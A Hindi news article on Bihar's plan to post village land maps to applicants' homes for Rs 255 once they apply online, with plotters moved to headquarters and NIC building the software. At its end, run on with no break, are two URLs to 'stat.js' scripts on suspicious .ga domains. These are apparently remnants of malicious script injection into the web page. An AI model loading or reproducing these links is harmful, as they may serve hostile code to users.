भारत को डिजिटल इंडिया बनाया जा रहा है और इसी का एक मुख्य उदाहरण बिहार में देखा गया है। बिहार में अब लोगों को गांव मौजा के नक्शे के लिए लाइन में नहीं खड़ा होना पड़ेगा। अब बस 255 रुपये में नक्शे घर बैठे पा सकेंगे लोग| दरअसल, भू-अभिलेख एवं परिमाप निदेशक जय सिंह अपर मुख्य सचिव विवेक कुमार सिंह के बीच बैठक हुई, जिसमें नक्शे के संदर्भ में बात हुई। अपर मुख्य सचिव विवेक कुमार सिंह ने तो जिले से प्लॉटरों को मुख्यालय लाने और एनआईसी को सॉफ्टवेयर बनाने के आदेश भी दे दिए हैं।
आपको बता दें, इस सॉफ्टवेयर से आनलाइन आवेदन भरे जा सकते हैं|

 

 

आवेदन करने के 72 घंटे पहले, नक्शा शुल्क (150 रु प्रति शीट) और 75 रुपये के डाक खर्च (20 रु़ पैकिंग, 55 रु. स्पीड पोस्ट) पर अपने घर मंगा सकेंगे| राजस्व एवं भूमि सुधार विभाग की इस नयी व्यवस्था से अंचल और सर्वेक्षण कार्यालय में नक्शा के लिये लाइन में नहीं खड़ा होना पड़ेगा| नक्शा देने के लिये शाहाबाद प्रमंडल के जिलों को छोड़कर सभी 34 जिलों में प्लॉटर लगाये गये है| इन प्लॉटरों के माध्यम से ही नक्शा प्रिंट किया जाता था|

 

 

जिले प्लॉटर का उपयोग नहीं हो पा रहा था, किसी जिला में स्याही तो कहीं कागज की कमी बनी रहती थी, मशीन खराब होने की भी लगातार शिकायतें मिलती रही है| इसका स्थायी समाधान करते हुए विभाग के अपर मुख्य सचिव ने सभी प्लॉटरों को मुख्यालय में स्थापित करने और डाक से नक्शा भेजने की व्यवस्था के आदेश दिये|

 

 

भू-अभिलेख एवं परिमाप निदेशक जय सिंह ने डाक विभाग, SBI और NIC के साथ बैठक करी| सभी ने सहमति दे दी और खर्च की राशि भी निर्धारित कर दी गयी| ऑनलाइन भुगतान के लिए स्टेट बैंक के साथ सम्पर्क किया जायेगा| NIC साफ्टवेयर तैयार करेगी जिसके बाद लोगों को यह सुविधा मिल जायेगी|https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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